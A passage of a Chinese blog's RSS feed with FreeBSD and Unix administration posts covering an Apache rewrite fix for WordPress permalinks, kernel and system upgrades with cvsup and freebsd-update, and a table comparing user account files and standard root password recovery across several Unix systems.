		<description><![CDATA[<p>这个问题早前就遇到，只不过一直没有时间去认真解决它，今天，想着不能再拖这个时间，就今晚着重解决这个问题，原先，俺以为是不是俺装wordpress那里装错啦，就用了另外的网站空间与域名再装多一次原版wordpress ,发觉问题依然，在后台选择永久链接后，前台依然出现404错误，那俺基本排除俺装wordpress中文版可能出错问题，那俺很自然就想到，是不是apache的httpd.conf配置问题，后来在google查了查，也找不到什么好结果，最后，没办法，就打开apache的手册，专门看rewrite那段说明。看了看，猜测可能是httpd.conf里没有对wordpress所在的目录开通相应的权限，而至使wordpress所在目录的.htaccess文件不正常。所以，就尝试在wordpress所在域名空间的根目录加上这些设置,在httpd.conf设置：</p>
<p> #evanjiang alias host
        
        Options Indexes FollowSymLinks
        AllowOverride All
#        Options None
#        Order allow,deny
      [...]]]></description>
			<content:encoded><![CDATA[<p>这个问题早前就遇到，只不过一直没有时间去认真解决它，今天，想着不能再拖这个时间，就今晚着重解决这个问题，原先，俺以为是不是俺装wordpress那里装错啦，就用了另外的网站空间与域名再装多一次原版wordpress ,发觉问题依然，在后台选择永久链接后，前台依然出现404错误，那俺基本排除俺装wordpress中文版可能出错问题，那俺很自然就想到，是不是apache的httpd.conf配置问题，后来在google查了查，也找不到什么好结果，最后，没办法，就打开apache的手册，专门看rewrite那段说明。看了看，猜测可能是httpd.conf里没有对wordpress所在的目录开通相应的权限，而至使wordpress所在目录的.htaccess文件不正常。所以，就尝试在wordpress所在域名空间的根目录加上这些设置,在httpd.conf设置：</p>
<p> #evanjiang alias host<br />
        <Directory "/usr/local/www/apache22/data/evanjiang"><br />
        Options Indexes FollowSymLinks<br />
        AllowOverride All<br />
#        Options None<br />
#        Order allow,deny<br />
        Allow from all<br />
        </Directory></p>
<p>最后，永久链接问题得以解决，解决了一个历史遗留问题，应验俺之前说的话，就是，任何问题，只要认真对待，都能解决！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/357.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PCBSD内核编译/升级</title>
		<link>http://www.evanjiang.net.cn/archives/350.html</link>
		<comments>http://www.evanjiang.net.cn/archives/350.html#comments</comments>
		<pubDate>Thu, 05 Feb 2009 13:49:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[PCBSD 内核编译]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=350</guid>
		<description><![CDATA[<p>目的：将PCBSD的内核由FreeBSD 6.1升级至 6.2</p>
<p>步骤：</p>
<p>1. 升级source file至6.2</p>
<p>首先编辑/usr/share/examples/cvsup/standard-supfile文件，修改其中的两个地方：
将其中的*default release=cvs tag=RELENG_6_1一行改为 RELENG_6_2,
将*default host=CHANGE_THIS.FreeBSD.org中的CHANGE_THIS.freebsd.org替换为cvsup.cn.freebsd.org</p>
<p>修改完成後，运行如下命令：
cvsup /usr/share/examples/cvsup/standard-supfile
</p>
<p>这个命令将会更新系统源文件至6.2版。</p>
<p>2. 创建内核配置文件MYKERNEL（或任何其他你喜欢的名字）</p>
<p>请以root帐户运行如下的命令：</p>
<p># cd /usr/src/sys/i386/conf
# mkdir /root/kernels
# cp /PCBSD/conf/PCBSDv1.3 /root/kernels/MYKERNEL
# ln -s /root/kernels/MYKERNEL</p>
<p>这里，你可以编辑MYKERNEL文件，将一些不需要的内核选项去掉，这样编译出的内核将会更简洁，效率更高。比如其中有cpu 486/cpu 586，如果你的CPU是PII以上的，你就可以删除这两行，或者通过在行首加一个#符号来注释掉他们，只保留cpu686就可。








但你一定要清楚每个选项的意思，否则请不要随意更改，不然很可能导致系统无法启动。</p>
<p>3. 编辑/etc/make.conf文件
如果下面的内容不在make.conf文件中，请添加：
CPUTYPE=i686 #i486, i586, i586/mmx, i686, p2, p3, p4, athlon,athlon-xp, athlon64, opteron
RELEASETAG=&#8221;RELENG_6_2&#8243;
SUP_UPDATE=yes
SUP=/usr/local/bin/cvsup
SUPFLAGS=-g -L 2
SUPHOST=cvsup.cn.FreeBSD.org
SUPFILE=/usr/share/examples/cvsup/standard-supfile
PORTSSUPFILE=/usr/share/examples/cvsup/ports-supfile
#DOCSUPFILE=/usr/share/examples/cvsup/doc-supfile
KERNCONF=MYKERNEL</p>
<p>4.编译并安装内核</p>
<p>依次运行如下命令：
#cd /usr/src
#make buildkernel
#make installkernel
#reboot</p>
<p>重启後你的PCBSD系统就是6.2版的内核。其中buildkernel和installkernel的过程需要很长的时间，尤其是你的CPU和内存不是很多的话。</p>
<p>5. 验证</p>
<p>重启完成後，可以运行如下命令来查看目前的内核版本：








# dmesg &#124; grep RELEASE
FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 UTC 2007</p>
<p>每个人的输出并不相同，但只要你看到6.2-RELEASE的字样，就表示你已经成功</p>
]]></description>
			<content:encoded><![CDATA[<p>目的：将PCBSD的内核由FreeBSD 6.1升级至 6.2</p>
<p>步骤：</p>
<p>1. 升级source file至6.2</p>
<p>首先编辑/usr/share/examples/cvsup/standard-supfile文件，修改其中的两个地方：<br />
将其中的*default release=cvs tag=RELENG_6_1一行改为 RELENG_6_2,<br />
将*default host=CHANGE_THIS.FreeBSD.org中的CHANGE_THIS.freebsd.org替换为cvsup.cn.freebsd.org</p>
<p>修改完成後，运行如下命令：<br />
cvsup /usr/share/examples/cvsup/standard-supfile<br />
<span id="more-350"></span></p>
<p>这个命令将会更新系统源文件至6.2版。</p>
<p>2. 创建内核配置文件MYKERNEL（或任何其他你喜欢的名字）</p>
<p>请以root帐户运行如下的命令：</p>
<p># cd /usr/src/sys/i386/conf<br />
# mkdir /root/kernels<br />
# cp /PCBSD/conf/PCBSDv1.3 /root/kernels/MYKERNEL<br />
# ln -s /root/kernels/MYKERNEL</p>
<p>这里，你可以编辑MYKERNEL文件，将一些不需要的内核选项去掉，这样编译出的内核将会更简洁，效率更高。比如其中有cpu 486/cpu 586，如果你的CPU是PII以上的，你就可以删除这两行，或者通过在行首加一个#符号来注释掉他们，只保留cpu686就可。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
但你一定要清楚每个选项的意思，否则请不要随意更改，不然很可能导致系统无法启动。</p>
<p>3. 编辑/etc/make.conf文件<br />
如果下面的内容不在make.conf文件中，请添加：<br />
CPUTYPE=i686 #i486, i586, i586/mmx, i686, p2, p3, p4, athlon,athlon-xp, athlon64, opteron<br />
RELEASETAG=&#8221;RELENG_6_2&#8243;<br />
SUP_UPDATE=yes<br />
SUP=/usr/local/bin/cvsup<br />
SUPFLAGS=-g -L 2<br />
SUPHOST=cvsup.cn.FreeBSD.org<br />
SUPFILE=/usr/share/examples/cvsup/standard-supfile<br />
PORTSSUPFILE=/usr/share/examples/cvsup/ports-supfile<br />
#DOCSUPFILE=/usr/share/examples/cvsup/doc-supfile<br />
KERNCONF=MYKERNEL</p>
<p>4.编译并安装内核</p>
<p>依次运行如下命令：<br />
#cd /usr/src<br />
#make buildkernel<br />
#make installkernel<br />
#reboot</p>
<p>重启後你的PCBSD系统就是6.2版的内核。其中buildkernel和installkernel的过程需要很长的时间，尤其是你的CPU和内存不是很多的话。</p>
<p>5. 验证</p>
<p>重启完成後，可以运行如下命令来查看目前的内核版本：<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
# dmesg | grep RELEASE<br />
FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 UTC 2007</p>
<p>每个人的输出并不相同，但只要你看到6.2-RELEASE的字样，就表示你已经成功</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/350.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用freebsd-update升级freebsd</title>
		<link>http://www.evanjiang.net.cn/archives/300.html</link>
		<comments>http://www.evanjiang.net.cn/archives/300.html#comments</comments>
		<pubDate>Mon, 02 Feb 2009 20:03:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd-update 更新Freebsd]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=300</guid>
		<description><![CDATA[<p>freebsd-update &#8212; fetch and install binary updates to FreeBSD</p>
<p>描述:
freebsd-update 是FreeBSD系统用来撷取, 安装及取得binary update 的工具。要注意的是,这些update仅止于FreeBSD Release Engineering Team维护的版本.
诸如: FreeBSD 6.1-RELEASE 或 FreeBSD 6.2-RC1 而非 FreeBSD 6.2-STABLE
        or FreeBSD 7.0-CURRENT 之类的版本.
补充: FreeBSD 6.2-RELEASE版本后才有此指令</p>
<p>语法:
freebsd-update [-b basedir] [-d workdir] [-f conffile] [-k KEY]
           [...]]]></description>
			<content:encoded><![CDATA[<p>freebsd-update &#8212; fetch and install binary updates to FreeBSD</p>
<p>描述:<br />
freebsd-update 是FreeBSD系统用来撷取, 安装及取得binary update 的工具。要注意的是,这些update仅止于FreeBSD Release Engineering Team维护的版本.<br />
诸如: FreeBSD 6.1-RELEASE 或 FreeBSD 6.2-RC1 而非 FreeBSD 6.2-STABLE<br />
        or FreeBSD 7.0-CURRENT 之类的版本.<br />
补充: FreeBSD 6.2-RELEASE版本后才有此指令</p>
<p>语法:<br />
freebsd-update [-b basedir] [-d workdir] [-f conffile] [-k KEY]<br />
                         [-r newrelease] [-s server] [-t address] command<br />
<span id="more-300"></span></p>
<p>参数:<br />
    -b basedir　　　　指定系统挂载的最基本路径 (预设: / )</p>
<p>    -d workdir　　　　档案暂存数据夹 (预设: /var/db/freebsd-update/ ),</p>
<p>    -f conffile　　　　设定文件位置 (预设: /etc/freebsd-update.conf)<br />
    -k KEY　　　　　　信任的RSA金钥位置 (预设: 从设定档读取)<br />
    -r newrelease　　定义新的RELEASE版本升级标的 (针对 upgrade)<br />
    -s server　　　　定义撷取更新档案的server (预设:从设定档读取)</p>
<p>    -t address　　　　邮件输出的对象  (预设: root )</p>
<p>命令:<br />
    fetch      以现有安装的环境及设定参数, 撷取可能的binary更新.<br />
    cron        随机休息(sleep)1~3600秒,然后下载更新档.<br />
                  若更新档案下载完成,系统会发送email通知root<br />
                  (可透过 -t 参数或设定档 , 将信件递送给其它人员) .<br />
                  如同此命令的名称(cron), 被用来设计透过cron程序执行.<br />
                  随机休息秒数则是用来避免同时间有大量机器向server要求更新.<br />
    upgrade   截取必要的升级到新版本RELEASE的档案,请小心使用.<br />
                  并确认您已经阅读过新版本的 announcement and release notes.<br />
    install      安装最近撷取的更新(update)/升级(upgrade)档案.<br />
    rollback    反安装最近安装过的更新(update).</p>
<p>小技巧:<br />
把 freebsd-update 放入cron执行 , 如此就能够自动更新.<br />
0 3 * * * /usr/sbin/freebsd-update cron<br />
相关档案/数据夹:<br />
    /etc/freebsd-update.conf  预设的freebsd-update程序设定文件<br />
    /var/db/freebsd-update/   预设的freebsd-update暂存及下载档案数据夹</p>
<p>实际操作:</p>
<p>本例从 6.3-RELEASE 进行更新(update).<br />
freebsd-update -r 6.3-RELEASE fetch</p>
<p>安装:<br />
freebsd-update -r 6.3-RELEASE install</p>
<p>重新开机后,执行 uname -a 名称就会变成 6.3-RELEASE-p1 , 若不在意名称,也不需要重新开机.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/300.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>将FreeBSD7.0升级到7.1的方法</title>
		<link>http://www.evanjiang.net.cn/archives/298.html</link>
		<comments>http://www.evanjiang.net.cn/archives/298.html#comments</comments>
		<pubDate>Mon, 02 Feb 2009 20:00:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd 升级]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=298</guid>
		<description><![CDATA[<p>首先，如果你用的是默认的内核，那么可以使用freebsd-update来升级系统，如果你的内核是自己重新编译过了的，那么按方法一来升级系统，如果是默认内核，按照方法二来升级系统。
方法一：cvsup升级系统
1：抓取源代码
# cp /usr/share/examples/cvsup/standard-supfile /root/supfile
# vi /root/supfile
把host=CHANGE_THIS.FreeBSD.org改为host=cvsup2.cn.FreeBSD.org</p>
<p>*default release=cvs tag=RELENG_7_1
这个tag就是用来控制把版本升级到哪个的。

改好以后的supfile为：
*default host=cvsup2.cn.FreeBSD.org
*default base=/var/db
*default prefix=/usr
*default release=cvs tag=RELENG_7_1
*default delete use-rel-suffix
*default compress
然后开始抓取源代码，执行下面的命令：
# cvsup /root/supfile
或# csup /root/supfile
从6.0开始系统就提供csup来代替cvsup了，如果你原来装过cvsup，那么两个都可以的。
2：编译基础系统
# vi /usr/src/UPDATING
# cd /usr/src
# make buildworld
3：编译内核
# make buildkernel KERNCONF=foo
# make installkernel KERNCONF=foo
# reboot
系统启动时，选择“4”，进入“单用户”模式，输入“boot -s”进入单用户的提示符“#”，然后mount文件系统，执行mergemaster。
# mount -a -t ufs
# mergemaster -p
4：安装基础系统
# cd /usr/src
# make installworld
然后合并配置文件
# mergemaster -i
最后重启系统
# reboot
重新进入系统以后执行以下几个命令看升级是否有问题：
# uname -a
# tail -f /var/log/messages
# tail -f /path/to/other/log/files
# [...]]]></description>
			<content:encoded><![CDATA[<p>首先，如果你用的是默认的内核，那么可以使用freebsd-update来升级系统，如果你的内核是自己重新编译过了的，那么按方法一来升级系统，如果是默认内核，按照方法二来升级系统。<br />
方法一：cvsup升级系统<br />
1：抓取源代码<br />
# cp /usr/share/examples/cvsup/standard-supfile /root/supfile<br />
# vi /root/supfile<br />
把host=CHANGE_THIS.FreeBSD.org改为host=cvsup2.cn.FreeBSD.org</p>
<p>*default release=cvs tag=RELENG_7_1<br />
这个tag就是用来控制把版本升级到哪个的。<br />
<span id="more-298"></span><br />
改好以后的supfile为：<br />
*default host=cvsup2.cn.FreeBSD.org<br />
*default base=/var/db<br />
*default prefix=/usr<br />
*default release=cvs tag=RELENG_7_1<br />
*default delete use-rel-suffix<br />
*default compress<br />
然后开始抓取源代码，执行下面的命令：<br />
# cvsup /root/supfile<br />
或# csup /root/supfile<br />
从6.0开始系统就提供csup来代替cvsup了，如果你原来装过cvsup，那么两个都可以的。<br />
2：编译基础系统<br />
# vi /usr/src/UPDATING<br />
# cd /usr/src<br />
# make buildworld<br />
3：编译内核<br />
# make buildkernel KERNCONF=foo<br />
# make installkernel KERNCONF=foo<br />
# reboot<br />
系统启动时，选择“4”，进入“单用户”模式，输入“boot -s”进入单用户的提示符“#”，然后mount文件系统，执行mergemaster。<br />
# mount -a -t ufs<br />
# mergemaster -p<br />
4：安装基础系统<br />
# cd /usr/src<br />
# make installworld<br />
然后合并配置文件<br />
# mergemaster -i<br />
最后重启系统<br />
# reboot<br />
重新进入系统以后执行以下几个命令看升级是否有问题：<br />
# uname -a<br />
# tail -f /var/log/messages<br />
# tail -f /path/to/other/log/files<br />
# sockstat<br />
5：升级已安装的软件<br />
# portsnap fetch update<br />
执行以下命令升级通过ports安装的所有软件<br />
# portversion -l &#8216;<&#8216;<br />
# portupgrade -a</p>
<p>方法二：使用freebsd-update升级系统<br />
freebsd-update 是FreeBSD系统用来抓取、安装及取得binary update 的工具。要注意的是,这些update仅止于FreeBSD Release Engineering Team维护的版本.诸如: FreeBSD 6.1-RELEASE 或 FreeBSD 6.2-RC1 而非 FreeBSD 6.2-STABLEBSD or FreeBSD 7.0-CURRENT 之类的版本.FreeBSD 6.2-RELEASE版本后才有此指令。<br />
不过使用该方法升级系统，需要注意备份原来的配置、数据库等文件，以防万一。<br />
该方法目前仅适用于你使用的是默认的内核，<br />
# freebsd-update upgrade -r 7.1-RELEASE<br />
在此过程中会询问您对于一些配置文件的处理方法，需要你做出回答。<br />
# freebsd-update install<br />
# reboot<br />
重新启动以后需要重新执行该命令来安装新的userland组件。<br />
# freebsd-update install<br />
需要注意的是使用intel的网卡，要把em变成igb，否则网络将有问题，<br />
# reboot<br />
关于的使用方法，可以参见http://www.bsdlover.cn/html/21/n-821.html，有一个相当来说详细的说明。<br />
升级完系统以后，需要把ports的软件也更新一下，方法如下：<br />
# portsnap fetch update<br />
# pkg_version -vIL=<br />
# portupgrade -a</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/298.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>主流服务器UNIX操作系统用户帐号的设置</title>
		<link>http://www.evanjiang.net.cn/archives/286.html</link>
		<comments>http://www.evanjiang.net.cn/archives/286.html#comments</comments>
		<pubDate>Thu, 22 Jan 2009 03:56:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[hp unix]]></category>
		<category><![CDATA[ibm unix]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[sun unix]]></category>
		<category><![CDATA[HP-UX FreeBSD Solaris Aix Redhat]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=286</guid>
		<description><![CDATA[<p class="MsoNormal" align="center">主流服务器UNIX操作系统用户帐号的设置</p>




<p class="MsoNormal" align="center">账号设置</p>


<p class="MsoNormal" align="center">HP-UX </p>


<p class="MsoNormal" align="center">FreeBSD </p>


<p class="MsoNormal" align="center">Solaris (SPARC)</p>




<p class="MsoNormal" align="left">密码文件</p>


<p class="MsoNormal" align="left">/etc/passwd
/tcb/files/auth/r/root

<p class="MsoNormal" align="left">/etc/passwd
/etc/master.passwd

<p class="MsoNormal" align="left">/etc/passwd
/etc/shadow



<p class="MsoNormal" align="left">组文件</p>


<p class="MsoNormal" align="left">/etc/group
/etc/logingroup

<p class="MsoNormal" align="left">/etc/group</p>


<p class="MsoNormal" align="left">/etc/group</p>




<p class="MsoNormal" align="left">允许最大用户ID</p>


<p class="MsoNormal" align="left">2147483647</p>


<p class="MsoNormal" align="left">65535</p>


<p class="MsoNormal" align="left">2147483647</p>




<p class="MsoNormal" align="left">允许远程登录的用户文件设置</p>


<p class="MsoNormal" align="left">/etc/securetty
{console}

<p class="MsoNormal" align="left">/etc/ttys
{secure}

<p class="MsoNormal" align="left">/etc/default/login
{CONSOLE=/dev/console}



<p class="MsoNormal" align="left">Nobody的UID</p>


<p class="MsoNormal" align="left">-2</p>


<p class="MsoNormal" align="left">65534</p>


<p class="MsoNormal" align="left">60001 &#38; [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统用户帐号的设置</span></strong></p>
<table class="MsoNormalTable" style="height: 252px;" border="1" cellspacing="0" cellpadding="0" width="700">
<tbody>
<tr>
<td width="132">
<p class="MsoNormal" align="center"><strong><span>账号设置</span></strong></p>
</td>
<td width="192">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris</span></strong><span lang="EN-US"> <strong>(SPARC)</strong></span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>密码文件</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/passwd<br />
/tcb/files/auth/r/root</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/passwd<br />
/etc/master.passwd</span></td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/passwd<br />
/etc/shadow</span></td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>组文件</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/group<br />
/etc/logingroup</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/group</span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/group</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>允许最大用户<span lang="EN-US">ID</span></span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">2147483647</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">65535</span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">2147483647</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>允许远程登录的用户文件设置</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/securetty<br />
{console}</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/ttys<br />
{secure}</span></td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/default/login<br />
{CONSOLE=/dev/console}</span></td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">Nobody</span><span>的<span lang="EN-US">UID</span></span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">-2</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">65534</span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">60001 &amp; 65534(nobody4)</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">Nobody</span><span>的<span lang="EN-US">GID</span></span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">-2(nogroup)</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">65534</span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">60002 &amp; 65534(nogroup)</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>找回<span lang="EN-US">ROOT</span>密码</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">&gt;boot<br />
Interact with IPL ? <strong>Y</strong><br />
ISL&gt;hpux -iS<br />
passwd root</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">ok boot -s<br />
passwd root</span></td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">boot cdrom -s<br />
mkdir /tmp/a<br />
mount /dev/c0t0d0s0 /tmp/a<br />
vi /tmp/a/etc/shadow</span></td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>创建新用户</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">useradd</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">adduser</span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">Useradd</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>删除用户</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">userdel</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">rmuser</span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">Userdel</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>列出用户</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">logins</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">Logins</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>修改用户账号</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">usermod</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal" align="left"><span lang="EN-US">Usermod</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> <span id="more-286"></span><br />
</span></p>
<table class="MsoNormalTable" style="height: 340px;" border="1" cellspacing="0" cellpadding="0" width="709">
<tbody>
<tr>
<td width="132">
<p class="MsoNormal" align="center"><strong><span>账号设置</span></strong></p>
</td>
<td width="204">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="408">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux( RedHat )</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>密码文件</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/passwd<br />
/etc/security/passwd</span></td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/passwd<br />
/etc/shadow</span></td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>组文件</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/group<br />
/etc/security/group</span></td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/group</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>允许最大用户<span lang="EN-US">ID</span></span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">4294967295</span></p>
</td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">65535</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>允许远程登录的用户文件设置</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/security/user<br />
{rlogin=true}</span></td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/securetty<br />
{ttyp1}</span></td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">Nobody</span><span>的<span lang="EN-US">UID</span></span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">4294967294</span></p>
</td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">99</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">Nobody</span><span>的<span lang="EN-US">GID</span></span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">4294967294</span></p>
</td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">99</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>找回<span lang="EN-US">ROOT</span>密码</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">boot from CD/Tape<br />
Installation/Maintenance<br />
Start Limited Shell<br />
getrootfs hdisk0<br />
vi /etc/security/passwd</span></td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">{lilo}<br />
control-x<br />
linux S<br />
passwd root</span></p>
<p>{grub}<br />
c<br />
kernel vmlinuz-2.4.9-13 <strong>single</strong> ro root=/dev/hda8<br />
initrd /initrd-2.4.9-13.img<br />
boot<br />
passwd root</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>创建新用户</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">mkuser</span></p>
</td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">Useradd</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>删除用户</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">rmuser</span></p>
</td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">Userdel</span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>列出用户</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">lsuser -f ALL</span></p>
</td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal" align="left"><span>修改用户账号</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">chuser -a</span></p>
</td>
<td width="408">
<p class="MsoNormal" align="left"><span lang="EN-US">usermod</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统目录结构对比</span></strong></p>
<table class="MsoNormalTable" style="height: 100px;" border="1" cellspacing="0" cellpadding="0" width="704">
<tbody>
<tr>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Directory Mappings </span></strong><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Root filesystem</span></p>
